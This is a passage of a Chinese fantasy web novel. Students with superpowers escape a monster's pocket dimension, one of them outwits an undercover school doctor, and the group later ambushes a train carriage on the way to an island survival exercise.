金发少年直接跳过那些弯弯绕绕,拿着武器重新走向巨型肉瘤。
当余光瞥到那抹金色走开后,夏云尹默默地,加大了几分双手抱住金荣安的力度,同时,隐蔽的看向留在原地的周六。
果然,那双同样是金色的眼睛正盯着他们。
准确的说,是盯着金荣安。
真是麻烦啊……
夏云尹暗道。
与一直生活在表世界的主角不同,周六因为出身的缘故,观察力更好,甚至堪称尖锐。
周六应该意识到了,一些可能性。
空着手的化身站在周六身旁,背着周六的化身则乖巧地弯着腰,让本体趴着更舒服。
当三张同样精致的娃娃脸同框时,带来一种古怪的恐怖感,尤其是有三双一模一样的大眼睛同时看过来时。
周六没有掩藏自己的视线,因为他觉得这么做根本无用,抱着那个伤员的人怎么可能会察觉不到。
强者,对被划分在自己领地里的人、事、物,都了如指掌,这才是常态。
不过,真是惊人,周六眨眨眼,想到。
他们是什么关系?
在界里还带着一个伤者,而且可能是黑钉……
一边思考,一边动作。
背后,负责背人的化身偷偷地接过由本体递来的枪,拿在手中。
枪已经上膛,就贴着他们的肌肤,可背上的本体面色不变,仿佛什么都没发生,完全看不成任何异样。
作为化身,自然能感知到本体的情绪:发现漏洞后,就杀了吧。
化身没有心脏,也没有心跳声,这有利于周六去聆听夏云尹的心跳声,借此判断他可能的举动,但是一无所获。
真是麻烦……
季英不知道,自己的背后正在进行无形的交锋。而两个人的想法,居然巧妙的重合了。
当意识到自己不能一招致胜后,周六就断定自己要做出些牺牲,但无论如何,那个奄奄一息的人必须死。
季英、他自己,都不应该为面前的这个奇怪的强者的私心买单。
周六从来不是善人。
如果有必要,他甚至愿意杀掉夏云尹,以求得生机。
夏云尹清楚这一点,所以,他做出了最合理的举动。
“季英!”
听到呼唤声,季英顿时回头,发现那个黑头发的学长正在向自己跑来。然后在靠近后,怀中传来重量,对方将那个伤员小心地交给了他。
耳畔,是那道干净的声音:“交给你了。”
这可是主角的最佳证人。
没等季英反应,夏云尹与他擦肩而过,最先走向巨型肉瘤。
同时,整个空间陡然震动,这次比前一次要剧烈许多。
周六没有经历过界从外面被打破的情况,可根据夏云尹的举动,自己也能品出些东西:
夏云尹确定不会出事。
不然他为什么把自己保护的人交给季英,明明知道如果这么做,周六反而更好动手。
因为在这一次的震动后,季英便匆匆忙忙的跑回来,怀里还抱着多出来的成年人,与周六站在一起。
季英的想法很简单,他要确保如果发生什么意外,他自己可以保护另外两个虚弱的人。
所以现在,周六与金荣安的距离,很近。
可最后,周六还是没有出手。
周六不希望自己杀掉的人,死在朋友的怀中。
周六:“唉。”
这是季英头一回听见朋友叹气,可四周情况巨变,让他无心分神去询问,只能先记下。
此时,正走向巨型肉瘤的夏云尹,则要镇定许多。
脚踩在方柱上,上层已经彻底被肉瘤覆盖,连带着脚感都发生变化,变得恶心。
夏云尹举起匕首,注视着肉瘤,那道伤口的两边已经开始愈合,但速度并不快。
界即将打开,现在,只差最后一步:
怪物濒死前的疯狂。
“你能感知到外面吧。”
他似在自言自语,说着最恐怖的话:
“外面有一个要捏碎你的异能者,你也知道自己一出去就要死了。”
噗嗤一声,匕首重新扎入肉中,伴着男人的言语,如同威胁:
“不要再闹了。”
怪物不听。
怪物听不懂。
……它只想要血,还有肉。
“嘭嘭!”
方柱再次挤压碰撞,响声震耳。
因为外面的攻击,界难以承受,正式开始崩解。
同时,强烈的颠簸使周六和季英难以站稳,所幸有化身的帮忙,他们才没有倒下。
季英一直在关注远处的夏云尹,被托付的伤员被他护在怀中。蓝发男人此时眉头紧锁,嘴唇苍白,毫无血色。
而与季英距离不远,正望着背后的周六,则正巧看到了刚刚出现的,界的边界。
界,被打开了。
周六先是眨眨眼,确定这并不是幻觉,然后才转头看向季英,正打算呼叫,就放心季英表情僵硬。
顺着季英的视线,周六望过去,发现不知道什么时候,那些数不清的肉瘤,已经将巨型肉瘤团团围住。
奇怪的是,没有肉瘤来阻拦他们。
可是……
那个人还在里面!!
季英也意识到了。
季英面色发沉,他的体力恢复了一点,异能也能再次使用,思及此,他想要过去,去帮忙。
可就在这时,因为他们距离边界实在太近,居然同时感受到了一股巨大的拉力,仿佛要扯出他们的五脏六腑。
“周六!”
周六听见了。
可是,他也没办法帮助季英,更没有办法帮助夏云尹。
在吸引力的作用下,他们乱成一团。明明界已经打开,他们只要顺从地离开就行,可偏偏现在有人生死未卜。
忽然,还在努力的季英发现自己已经双脚离地,且无法反抗。他死死的盯着
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那些肉瘤们,眼睛充血,想再挣扎一番。
可恶!
“?”
忽然,蓝眼睛被一道寒光刺了一下。
季英没有闭眼,而是寻着那道光望去,然后发现不知何时,那个依旧昏昏沉沉的、满身是血的男人怀中,多出了一把刀。
一把更长,更锋利,更合适的刀。
也是夏云尹在心中嘀咕很久的、杀怪物更方便的刀。
不久前,金荣安在感知到自己换了一个怀抱后,因为周围的动荡,意识有过短暂的清醒,几乎依靠本能制造出了这个武器。
真可惜,颜色他并不满意。
应该做成黑色的才对,这个念头刚起,金荣安来不及更改,就重新晕了过去。
下一次醒来,不是死亡,就是新的开始。
此时,在空中的季英直接做出判断。
季英将刀拿出来,直接扔给仍在地面上的周六,期间,有一些零碎的肉瘤想截胡,被雷电直接击落。
周六的化身身手敏捷,接到了刀,可本体与另一个化身也在这时受到拉力,同样向着季英的方向飞去。
周六不管不顾,直接大喊:“扔!”
下一秒,得到指示的化身用尽全力,将刀扔向完全看不见身影的夏云尹,同一时刻,因为精力耗尽,异能失效。
两个化身同时消失。
周六失去了背着自己的化身,只能和风中残叶一样,随便乱飞。但他依旧注意到,那把刀根本到不了里面。
因为有一个小肉瘤,居然高高跃起,碰到了飞过去的刀,虽然力度小,没能将它击落,但还是稍稍改变了它的轨迹。
季英的声音越来越远,可依旧很吵。周六头一回感到生气,而且是对自己那个奇怪的朋友。
为什么要费尽全力去帮别人呢?
果然季英很奇怪。
周六本可以就此停手,反正他也已经出全力了,连异能都无法维持。
可家族教导他,做任务最忌讳半途而废。
“咔哒。”
“嘣!”
半空中的粉发少年忽然一动,他双手拿着枪,以完全翻转着的姿势,瞄准了目标,然后扣动扳机,发射。
“铛。”
子弹正好打在刀刃上,将那刚刚偏离轨道的刀,重新打回到正确的路径上。
控制力惊人。
分毫不差。
当眼前的画面开始打转,彻底失去力气的周六不再反抗,仍自己随便乱飞。同时,他不禁庆幸那把刀足够坚固。
幸好没打坏。
瞬息间,他们离开了猩红的异空间,回到了万异大学。
周六稳稳地趴在地上,意识到四周安全后,直接呼呼入睡。
而季英则跪在地上,抱着伤员,还在适应突然变化的环境。然后,他听到了脚步声。
一个容貌俊美的成年人站在他们面前,他似乎在确认些什么,打量了他们一会儿后,才露出温和的笑容,说道:
“你们是被卷入界的学生吗,怪物在哪儿里,长什么样?”
在确定出现的三人都是人类后,王凤凤转而开始关注没有踪影的怪物,他追问道:
“个数呢?”
季英喘着气,觉得头痛欲裂。
可当他垂首,看到怀中一动不动的人时,他立马重新抬头,如飞入一片花海般,看着那双色彩瑰丽的眼睛。
“啊……”
季英刚想要开口,可实际上,已经脱力的他居然一时之间,根本说不出话来。他只能焦急的与这个金发男人对视,希望后者能注意到。
可王凤凤依旧处于备战状态,他需要快点解决怪物,但他并不确定目标的长相,而目击者是学生,现在他们精疲力竭,不能很好地回答问题。
难道是类人形的怪物吗?
混入人群就麻烦了。
……双方的电波并未对上。
这时,有人开口:
“王主任,先让我看看伤情吧。”
王凤凤闻言,没有回应。
那个人继续说:
“监控区说入界的是三名学生,现在那个躺着的很明显情况不好,我来看看。”
他似乎很着急,向前走了几步,向季英靠近。可季英的眼中,并没有产生有人来帮忙的欣喜,而是更加真切的焦急。
在这种紧张下,终于,季英发出了声音。
少年的声音都劈了,有些尖利,足以显示他的内心:
“不、我们一共是四个人!还有一个在里面!”
还在走向季英的那个人脚步一顿,露出带着些不忍、悲伤的笑容,似在安慰这个遭逢大难的少年,他说:
“啊……那他可能已经遇难了。”
说得不算委婉,可实在正确。
在界中,被怪物吃掉的人是回不来的。
王凤凤看看自己的这个同事,然后环顾四周,寻找怪物的迹象,突然,他猛的扭头,看向季英的背后。
一个人正站在季英身后。
他浑身是血,如同泡过血池,只有脸还算干净,但这也只是相对而言。
吐息、温度、站姿……
王凤凤一一确认,才相信这个凭空出现的家伙是人类。
而没有察觉到的季英,则是在一只手出现在视野里后,才注意到变化。同时,他听到了对方带着轻松笑意的声音。
“啊,我还没死呢。”
他似乎真的状态不错,甚至弯腰从震惊的季英怀里抱走了金荣安,鲜血一一滴落,显示出他刚才到底经历了怎样的战斗。
血随着他的步伐流了一地,可他的笑容却半分未减,可惜的是,血或多或少还是影响了那张脸的颜值。
血实在是太多了,同理,血腥味也重。
原本还在走向季英的人现在站在原地,他的反应比王凤凤慢,哪怕这个人几乎是正面对着他出现,他也没有及时发现。
可是现在,看着那个面带笑容,很明显精神不正常的血人,闻着那股越来越浓的冲鼻的血味,他很想后退。
可是……
他的目光晦涩,偷偷打量那个昏迷的男人。
死了吗?
下一秒,他的手腕忽然被握住,鲜血的黏稠和不同寻常的热度,都让他一惊,完全忘了刚才的打算。
他抬起头,看着那个血人,距离如此近的情况下,他还是能看出对方的长相并不差,尤其是那双眼睛,如同吸引人的深渊。
被握住的手腕传来力度,越来越大,面前的人开口,声音却带着几分悲戚,似乎很可怜、慌张的样子:
“您是医师吗?他已经在那个异空间里呆了六天,作为执法局的记录员实在是太倒霉了,连后备救援都没有。”
一溜串的话,将金荣安完全介绍了一遍。
他继续说:“他快要死了,请您救救他。”
明明是在恳请,明明表现得这么弱势,可力度却在加大。
这让被缠上的人感到气愤,手腕传来刺痛感,同时,察觉到病患的靠近,那个该死的异能力开始蠢蠢欲动。
该死。
可恶。
但他没有表现出来。
在夏云尹的注视下,这位有着一头特殊的碧青色头发的男人,正强忍着手腕的不适感,尝试着安抚情绪激动的病人。
他面容姣好,笑起来时眼尾弯弯,声音清澈:
“好的好的,我会好好救他的,你也放松下来,好不好?”
……会好好救他的。
陆戏雨能察觉到自己的话让面前的人放松了下来,从手腕骤然减轻的力度就能发现,他一时松了口气,这也使他忽略了那双黑色的眼睛里藏着的情绪。
深渊里,是正在注视着他的怪物。
夏云尹松开手,但依旧抱着金荣安,跟在转身离开的陆戏雨身后。
言不由衷吧,陆医师。
你这个卧底。
叛徒。
13.【再生】
万异大学、异万高中,有一些设施是共同使用的,例如:
户外训练场、中心图书室、急救医疗室……
第三个,就是陆戏雨所在的岗位。
忙!
巨忙!!
不管是因授课而出事的师生,还是被难得好心的胜者丢在医疗室门口的败者,都由医师们来救治。
这个学校,实在是太自由了。
自由到哪怕万年老四,生源锐减,问题事件层出不穷,校方也完全没有要改过、收敛的迹象。
大学部如此,同理,高中部也不算靠谱。
所以,当陆戏雨接到指示,得知上面要搞一个刚转学的高中生时,他的第一反应其实是:
啊?
他这里不治脑子。
脑科去正规医院看,因年长而避讳就医并不可取。
当然,陆戏雨只是在心中肺腑,事实上,他很平静的接下了任务,反正只是陷害或杀人。
他又不是没干过。
晚上的急救医疗室依旧灯火通明,大堂的座位上全是人,地上也躺着一些。
有的人已经昏迷,有的人还有精力咒骂,甚至去抓路过的无辜医师。
陆戏雨已经换上工作服,白大褂显得他身姿修长,碧青色的头发愈发醒目,更是一个很好的目标。
“陆医师!”
闻声,陆戏雨侧身闪开,避开后面扑来的病人,旋即给了对方背部一脚,让本就摇摇晃晃的病人直接趴在地上。
然后,他才开口:
“骨头断了就别动,自己静养。我的异能对这种伤起效慢。”
说完后,陆戏雨就走了。
异能,【再生】。
天赐的治疗异能,难得的人才。
但陆戏雨拒绝了其他地方的橄榄枝,依旧选择留在万异大学,当一个超忙碌的小医师。
因为,他只是大四学生,同样正在实习期。
但让人意外的是,陆戏雨并未展露出想要更好的前程的意向,而是以“方便、熟悉”为由,直接留在母校进行实习。
在不知情的人看来,他就是一个奇怪的天才。
而在夏云尹看来,他是一个半吊子的卧底。
“咯哒。”
单间医疗室的门被打开,里面的夏云尹闻声望去,入目的便是一派温和模样的陆医师。
对方换下了被夏云尹弄脏的衣服,手也清洗过,甚至连头发都重新梳理了一遍,整个人看起来精神焕发。
哇……
与之相比,夏云尹觉得自己真是邋遢了。
为了更好的医治,除去对外表的简单擦拭外,夏云尹根本不能洗澡、换衣、休息,而且,他还有目标没有达成。
陆戏雨则是松了口气,病人不似之前一样激动、疯癫,哪怕依旧沾满了血,带给人的压迫感也少了许多。
还好,陆戏雨心想。
感知到陆戏雨的视线,夏云尹明白,继身躯的武斗后,等会儿自己将要面对的是短暂的智斗。
顺便,还要考验演技。
黑发青年微微合眼,藏住里面的疲惫和倦意。
打架时的快感是真的,可是与一个卧底斗心眼,很无聊,也是真的。
沉默的空间里,两人都知道,金荣安没死。
因为这里是急救医疗室,救人的医师是【再生】的持有者。无人相信金荣安会死,哪怕他濒死、奄奄一息。
只要陆戏雨在,就没人能死。
先前,夏云尹的言行让陆戏雨骑虎难下,而王凤凤的存在,也使他最后只能答应。
他是医师,他只能救人!
啧!
因此,在陆戏雨不情愿但出色的救助下,金荣安活了下来。
需要处理掉的尾巴,居然被卧底出手救了下来,之后的清扫工作,足够让陆戏雨头疼。
谁知道金荣安能看出什么?
这个讨厌鬼。
面上笑嘻嘻,内心在骂人的陆戏雨,拿着医疗箱走向夏云尹,半途中,他听到那道干净的声音。
“陆医师,你和金学长是同届的同学吗?”
只见黑发青年正望过来,他露出友好和善的笑容,脸上的血迹已经擦拭干净,这么一看,真的很平易近人。
可是,黑眼睛太出彩。
那双眼睛依旧漆黑,如同深渊,在笑意的拥趸下,显得诡异、具有迷惑性。
陆戏雨没有停顿,回答道:
“嗯,我和他是同届的同学,只是实习的岗位不同。你是怎么知道的?”
金荣安的话这么多吗?
还是……
这个人有问题?
下一秒,夏云尹接着补充,打消了对方刚起的戒备:
“在陆医师之前,有一个人闯进来了,是他说的。”
陆戏雨一时语塞,脑中迅速浮现出一张臭脸,他下意识询问:
“长什么样?”
“一个穿着工装服,戴着防护镜的紫发男人。他的脑后扎着一个小辫子,带着银色的挑染,很显眼。”
越听,陆戏雨的笑容越僵硬。
是谁!
是谁把吕本贵放进来的!
有吕本贵在,金荣安是彻底安全了!
仿佛有一股气生生憋在胸口,让陆戏雨感到心慌。
但因为夏云尹在看着,陆戏雨才没有失态,他只觉得头更痛了。
他明白,自己后续是无法再出手了。
吕本贵这个研究社的现任副社长,对前任副社长金荣安,可是相当尊敬与崇拜,完全是一个十佳后辈。
而且,吕本贵一直在怀疑陆戏雨。
他觉得陆戏雨不似外表般和善,是一个彻头彻尾的骗子,是一个虚伪的人。
当时,来自明面上的敌意,一度让陆戏雨气恼心烦,最后,他只能选择尽可能避开吕本贵。
相看两厌,各走各的。
而夏云尹,则知道这些内情。
所以,其实吕本贵是他主动打开窗户,让对方进来的。
而那个半夜得到消息,立马跑出来的副社长,则在面对只对他关闭的大门后,得到了不知名的好心人打开的窗户。
吕本贵记下这个友善、沾满血的同学了。
“谢谢!”
“不客气~”
这些细节陆戏雨并不知情,当然,他也不可能知道。
急救医疗室的单间是没有监控的,只有公共区域有,而知情者们也不会告诉他那些真相。
而且,就算他知道又如何?
不管是夏云尹,还是吕本贵,都远比他能打。
夏云尹这一次的笑容发自内心,他看向陆戏雨,能观察出对方的动作在变快,但很稳健,明显情绪克制住了。
……嗯。
最后一击,要由夏云尹自己来。
季英、金荣安、吕本贵,他们三人的出现,固然意味着任务的失败。而任务没有完成,陆戏雨后期想动手,也很难顺利。
但是,这些只是任务。
作为卧底,陆戏雨的首要目标,是掩藏自己。他并不需要冒着大风险,去死磕这些任务。
说到底,他不用为上面的失误而负责。
【再生】是他的身价,是他的底牌。
上面不会丢下他。
灯光下,似在发光的陆戏雨探出手,温声说道:
“来。”
看着面前的白衣医师,夏云尹眨眼点头,顺从地伸出手,任由对方掀起袖子,检查伤口。
随着肌肤感知到寒意,一些想法也在慢慢冒出,带着些许不怀好意、期待。
因能自保而自信,上面的命令不能让你焦虑、急切,那你自己的事情呢?
你自己的私心与愿望,能否打破你的假面……
陆医师?
当那条手臂完全暴露在眼前,上面布满污血,但依旧健康、完整,肌肉的线条有力且流畅。
青色的眼睛中,瞬息间,浮现出困惑与茫然。
同时,有一些陆戏雨自己都未察觉到的期待、急迫,在悄悄涌现。
多年卧底的经验使他没有做出过激的行为,但他抓住夏云尹的手并未松开,而是继续细致的寻找着可能存在的伤口。
没有。
指腹蹭着皮肤,不可避免的染上了血渍,但陆戏雨并未表露出嫌弃,他目光专注,在确定确实没有伤口后,才询问道:
“右手没有受伤,那其他地方呢?”
不对劲。
明明当时他被握住手腕时,【再生】是有反应的。
陆戏雨确信,对方肯定有伤口。
夏云尹没有躲开,哪怕自己的手臂几乎是被人拽着观察。他故作思考,然后才向尽责、心善的医师答疑解惑:
“我的异能具有自愈特性,在界中时那个怪物很滚烫,我的右手已经失去知觉,但现在……”
夏云尹一边叙述,一边动起右手。
那只五指未断,纹理清晰,皮肤没有划痕,可以自由张开、握拳的手掌,根本看不出夏云尹口中的伤情。
什么?
这位年轻的医师愣在原地,心中的激动如海浪般澎湃,一个词使他难以保持平时的冷静:
自愈!
【自愈】!
陆戏雨全靠意志才没有露出扭曲的神情,他忍得很痛苦,只能匆忙松开手,偷偷的深呼吸后,声音微弱:
“那你其他地方的伤口呢?”
“全都好了。”
一时间,陆戏雨无法冷静。
他怎么能冷静?!
【再生】是他的半身,再厌恶也不能摆脱。
如果可以,他更希望自己能换个异能,无需“伟大”,只需要“自私”。
只要能救治一人、能救治自己就可以。
——【自愈】
凝视着面前的人,陆戏雨压下眼中的觊觎、痴迷。
他暂时恢复理智,作为一名医师,继续为夏云尹做检查,并在得出好消息让对方回去休息
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。
真的、一点伤口都没有。
而已经开始犯困的夏云尹,则无视了主动送自己出门的医师,任他的目光在自己的背后打转,久久不散。
……像鬼一样。
“哈、惹上了一个大麻烦啊。”
离开急救医疗室后,夏云尹扯开早就让自己不舒服的衣领,血都干了,这身衣服也算是彻底报废了。
然后,他又想起刚才眼睛发光,如同饿狼的陆戏雨,险些使当时的他回以重拳,打向那双青色眼睛。
目标达成了。
如果说一开始,陆戏雨还在为季英、金荣安的幸存而不满、烦闷,为吕本贵的介入而厌恶、作呕,那么现在,他恐怕只惦记着一件事:
【自愈】
那是陆戏雨最渴望的完美异能。
而夏云尹是【自愈】的持有者。
本来就干事不积极的卧底,现在遇到了自己深藏于心的秘密,那他之后做事情就更加会三心二意。
稍稍分神也行……
看着“夏云尹”,惦记“夏云尹”,关注“夏云尹”。
反正他最后会发现,都是竹篮打水一场空。
因为夏云尹根本没有异能力。
哈哈。
……
星期一,上午。
万异大学的疗养院内,某个房间。
金荣安堪堪苏醒,入目就是一个巨型、花哨的花篮,它被高挂在天花板上,正对病床,保证伤员一眼就能看见。
上面写着大字:
「全体研究社成员(除混蛋)祝愿金学长早日康复」
「(心)」
“……”
金荣安与花篮对视数秒,重新闭上眼,耳畔就传来铃声,柜子上的手机响了三秒后,直接自动接通。
对面的声音很沙哑,很显然没有好好休息:
“副社长……”
吕本贵停顿片刻,继续说:
“感觉如何,那个杀人医师没有把你怎么样吧?”
听到关心,金荣安下意识微笑,出声回答:
“我没事,看样子救治我的医师是戏雨啊。”
心情微妙。
其实,金荣安的意识还停留在异空间中。
在黑发青年的保护下,一路杀怪、避险,后来,他记得自己动用异能力,制造了一把刀……
“啊啊啊啊啊啊!”
金荣安忽然爆发的喊叫声,让正在调试零件的吕本贵一惊,铛啷啷,那个细小的零件顿时脱手,落地后滚入犄角旮旯。
吕本贵看着一团乱的地面,皱起眉。
他刚想询问,通讯器里就传来学长的声音,满是悔恨与自责:
“我居然制造出了不趁手的武器,而且颜色也不合适,果然应该是黑色才行,一定要改……”
闻言,吕本贵顿住,然后沉默。
而刚刚康复,现在才思泉涌的金荣安,活力满满。
他觉得,自己现在可以制造出最适合的武器,当然,最首要的,是征求那个人的意见。
救命恩人!
想通后,执行力满点的金荣安起身,动作利索,蓝发柔顺,衬得他面色依旧太白,看起来并不康健,但他的声音有力:
“本贵,那个人叫什么名字,是学生吗,现在住在哪里,联系方式是?”
一连串的问题,都等着回答。
昏暗的研究室内,吕本贵听着对面乒乒乓乓的动静,手中拿着刚刚寻回的零件,施施然的开口:
“副社长,今天是周一,距离你昏迷间隔一天。”
对面的声音变轻,然后变成风声,很明显,金荣安正在跑动,同时也在认真听,吕本贵只能继续讲:
“在老师们商讨后,决定这一届的初见活动在岛屿上进行,并且选中了岛屿「火山」。”
对此,金荣安没有感到意外,还有心情问:
“噢,是哪个老师负责?”
“李仲丙。”
“那他们什么时候出发?”
一时间,听出学长话语中的期盼,知道情况的吕本贵静默三秒后,才说出实情:
“他们已经出发了。”
今早七点。
而现在是九点,估摸着,他们已经在半路了。
这次初见活动的命题是「问好」。
在岛屿「火山」上,百名大一学生将在上面一同生存五日。
互相认识,互相交流,互相了解,敌对、争夺、合作……
不管是姓名、性格、异能、习惯……
有比这种模拟的生存对弈,更适合的「初见」吗?
这才是最适用于异能者的方法。
没有听到回应,吕本贵也不着急。
他默默地为面前的机器装上零件,伸手拨动齿轮,霎时间,唰唰的声音不绝于耳,所有齿轮都在转动。
声音在其中显得模糊,但笑意依旧清晰,他说:
“听说,已经有二十人淘汰了,哈哈哈哈。”
14.「火山」
「火山」是一座海岛,没有人烟,完全归异能界管制。
目前,「火山」的使用权属于万异大学。
翠绿岛屿,碧蓝晴天,与天相连的海水,白色浪花轻抚同色的沙滩,正是进行「问好」的最佳场所。
“这不合理!”
一道女声在列车里响起。
列车正在海面上行驶,以最快的速度前往「火山」。
车厢号二十,里面翻柜子的哐哐声不断,几分钟后,才恢复平静。
随即,那道声音音调加重,似在气恼:
“我的箱子呢?!”
车厢里,那头比阳光更耀眼的金发,因刚才的翻箱倒柜而散乱,头绳稍稍滑落,又卡在半路,将掉未掉。
薰没去管,而是看着面前空无一物的柜子,咬牙切齿的说:
“骗子!”
学校明明提前一天,就开始提醒他们整理要带去的行李,毕竟他们要在岛上待五天时间。
结果,等薰上车后一翻看,居然发现全都没了。
全都!
关上空柜门后,薰坐回自己的位置,她看向车厢里的其他人,伸手一指,陈述情况:
“五个箱子都没了,不用猜,肯定在老师手里。等会儿下车后,谁和我去敲蒙棍?”
“五个?”
靠窗的夏云尹扭头,看向正在生气的薰,他那因早起而有些空白的脑子一顿,问道:
“这里就四个人啊?”
夏云尹的目光清冷,似还未完全睡醒,声音也轻飘飘的,显得很好性子,他接着说:
“我记得,学校是按着人头算数,一人一个箱子,没有多余的吧?”
闻言,薰看向面前的陌生黑发男,对方衣着整洁,眉眼在阳光下显得温柔,如带上了柔光。
但实在敏锐……
表里不一。
薰在心中记下,但面上没有被戳穿的窘迫,她直直的对上夏云尹的目光,语调上扬:
“是我的小弟给的,一个箱子我可不够用。”
但现在一看,损失最大的反而是薰。
毕竟,她可是一下子没了两个箱子。
而且,最需要箱子的也是她。
不然薰也不会一上车就惦记着箱子,直接翻看柜子,结果发现了学校的小心思。
误打误撞,直接剧透了。
薰:“我的衣服、首饰、鞋子……”
当薰目光阴冷,盯着车头的方向森森开口时,夏云尹注意到身边的乱虎往后悄悄退后了一些。
就一点点,可他这么高大,完全无法躲。
夏云尹:“……”
他悟了。
是【鼠患】单方面的害怕。
因为,薰现在不像是对【鼠患】有食欲的样子。
这么想着,夏云尹又看向薰。
这一次,薰再次换了一副着装,当然,妆容也是。
在现实里,一个人的打扮变化大,都可能需要他人花时间去辨认,更不要提存在“画风”这一说的漫画了。
夏云尹猜测,“月考篇”里薰有出场,但不起眼。
一是风格多变,没有记忆点;二是漫画的关注点,依旧是高中部的主角们,而薰则没有与他们对上。
说到底,这个世界是漫画啊……
与主角们无关的人物,镜头、画面都不会多,当然也无人在意。
就连夏云尹都不能违背这个铁律。
因为先前与主角的接触,他得到了几次出场的机会,并拥有了漫画画面,甚至得到了读者的关注。
同时,获得了爱称。
整个车厢内,都回响着薰的声音,冰冷、阴郁的气息在眼中堆积,如有实体,让人发寒。
但面前的人忽然开口,打断了薰的低喃。
夏云尹似在自言自语:“没有衣服,确实很麻烦啊。”
每次打完架,他要不丢衣服,要不毁衣服,根本没有例外。平时可以回到宿舍更换,但现在需要在岛上生活五日。
……他会变成野人的。
要不裸着?
不!
于是,半晌后,在薰的注视下,这个外表温和,实则观察敏锐、心思多的人,向她举起了手。
他说:“加我一个。”
敲闷棍。
他要的不多,换洗衣物给他就行。
薰大喜,肯定道:“好!”
箱子!
衣服!
一旁,一直关注着他们的乱虎,选择闭上嘴巴。
这两个人,完全是在被处分的边缘疯狂试探。
算了。
老鼠的眼睛不会出错……
温暖的海风卷起灰发,惹得乱虎眯起眼睛,同时,阳光青睐于那片红色,瞳孔的色泽变得鲜明。
气质中的颓丧、淡漠,在这时,都隐于暗处。
但下一秒,乱虎又恢复常态,看向一言不发的第四人。
星光正端正的坐在座位上,她表情平静,一副文静乖巧的模样。
但只要细看,就会发现那双让人惊艳的紫色眼睛的视线,一直在车里最有活力的两人身上徘徊。
在乱虎看过来的一瞬间,星光就注意到了对方的视线,但她并不在意,甚至没有回以同等的关注。
从一开始,星光就没有主动说过话。
她总是在走神。
见状,乱虎收回视线,让异能慢慢平息。
没事,他暗想。
老鼠的眼睛不会出错、嗯,不会。
……
列车的车头,车厢一。
明明是负责人,但一上车,李仲丙就在豪华座椅上睡了一觉,刚刚才醒。
他捏了捏鼻尖,声音慵懒,笑吟吟道:
“怎么还不过来,是没有胆量后悔了,还是正在思考呢?”
红发男人戴着墨镜,他一手撑着下巴,两只脚搁在对面的空位置上,表情惬意自得。
半空中,则漂浮着一个布娃娃,与成人的脑袋差不多大。
她明显是女性,身着华贵、蕾丝的黑裙,还有一头与李仲丙相似,但远比他长、卷的红发。
同时,有不同的种种声音从布娃娃的口中传来。
正是每个车厢里的动静。
异能力,【布娃娃】。
听起来平平无奇,但李仲丙在年少时,利用布娃娃具有发声器、录音器的特点,苦心开发异能。
最后,他将普通无害的【布娃娃】,发展成了现在人们口中的“间谍异能”。
但李仲丙更喜欢当老师。
有实时汇报的异能力在,一切都在掌握。
直到某一刻,布娃娃突然响起古怪的声响,听了,李仲丙一怔,他回忆须臾,但依旧感到困惑:
“老鼠?”
他转头,刚好与不知何时出现的老鼠对视。
这只老鼠双足站立,身躯笔直,极具人性化,正幽幽的看着他。而坐在位子上,姿势不雅的李仲丙静默一秒后,不禁感叹道:
“哇噢。”
有趣。
所以先前不来,是在思考计划吗?
自认沉稳大气的老师一动不动,任由四周的吱吱声变重,越来越多的老鼠从阴暗处出现,红光阴森,似要吞下一切。
李仲丙与最早出现的老鼠面面相觑,他甚至很悠闲,有心思与其对话。他直接伸手握住对方的爪子,表情认真:
“没了吗?真的没了吗?再不来的话,老师我就要反击了哦~”
他与鼠对望,一旁,布娃娃的裙摆摇曳,似美丽的花。
但李仲丙是等不来学生的。
他关注着各个车厢,原以为发现问题的学生们会沉不住气。他们最多考虑一下,是否要先在列车上动手。
但不管是列车,还是岛屿,李仲丙都有考量。
结果,现在确实有人出手了。
但这只是幌子。
万异大学渡海专用列车「孟歌」。
全车厢共二十八节,包含车头。一个车厢安排四名学生,而这次的活动,参与者是百人。
因为当时楚文心的一番话,以及界“红渊”的出现,使某些知情人在思量后,选择了离开。
离开的人数不多,余下的正好是一百人。
因此,这条列车几乎是坐满的。
“哐!”
车厢二十二,突然的动静让里面的人睡意稍减。
坐在外侧的同学回头,看向没有再传来其他动静的门。随即,他主动站起来,没有任何犹豫直接走上去,打开了门。
然后,正巧对上一双圆瞳。
瞬间,他感到全身无力,旋即便瘫倒在地,同时开始呓语,目光痴痴。
“喂!你在干什么!”
听到质问,薰一动不动,任由情绪激动的人向自己大步走来。
可当那个人走到窗边时,突然一股拉力将其扯出窗外,紧接着,他只来得及看清一双黑眼睛,就陷入了
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同样的黑暗中。
“哐。”
昏迷的人,被重新扔回了车厢。
剩下的两人:“……”
夏云尹一个翻身,直接跟在后面,从车窗翻进车厢,与他们对视。
然后,他表情一变,露出笑容,叮嘱道:
“不要乱动哦。”
话音刚落,还没反应过来的二人只觉得身上压力倍增,只来得及哼一声,就全都趴在了地上。
但压力还未结束,星星带来的重力直到他们彻底失去意识,才停止。
不过几分钟,车厢二十二团灭。
见状,薰对着正靠窗吹风的夏云尹说道:
“你真的不是在异能界长大的吗?手段好阴。”
嗯,但还是她认识的人更恶心。
薰皱眉,嘟囔一会儿,改口说:
“是在夸你的意思。”
这时,星光从门后走出来,默默地来到薰的身后。
她开口,声音似没有情绪般,平静无波:
“金色的星星,黑色的星星难过了。”
薰听了,下意识反驳:
“都说了我叫薰!你真的不听人话啊……而且他哪里难过了!”
海风舒适,计划顺利进行也让夏云尹心情愉悦。
听到星光的声音,被点名的夏云尹指了指自己,重复道:
“黑色的星星?”
星光点点头,但没有再说话。
但夏云尹记得,漫画里,星光称主角季英为……
蓝色的星星。
世界观自成一体,平日里看起来无害,甚至有些呆的天赋者星光,在漫画“月考篇”里人气很旺。
她的粉丝觉得她属于电波系。
而她的异能,【重力】,则是她与生俱来的卓越天赋。
夏云尹发现,漫画还是不够全面,比如刚才星光使用异能时,靠的较近的他也感受到了压力。
明明,他们的目标只有车厢里的四人。
星光,是不是还不能控制重力的范围?
三个人心思各异。
薰想到了恶心的东西,现在面色不妙。
星光再次出神,宛如色彩缤纷的人偶。
夏云尹则想起在车头的乱虎,对方的任务是迷惑住老师,为计划的实施留出更多的时间。
敲蒙棍。
但敲老师有什么用,哪怕他们真的成功了,学校也只会再换一个负责人。
那样的话,他们不光可能背上处罚,甚至是处分,而且「火山」五日游还要继续进行。
白费功夫。
所以,夏云尹提出一个计划:
换一个对象敲闷棍。
活动虽然叫「问好」,但谁都能看出来,最后肯定会演化成异能者之间的大乱斗。
虽然现在他们还在列车上,但谁能证明活动还没开始呢?
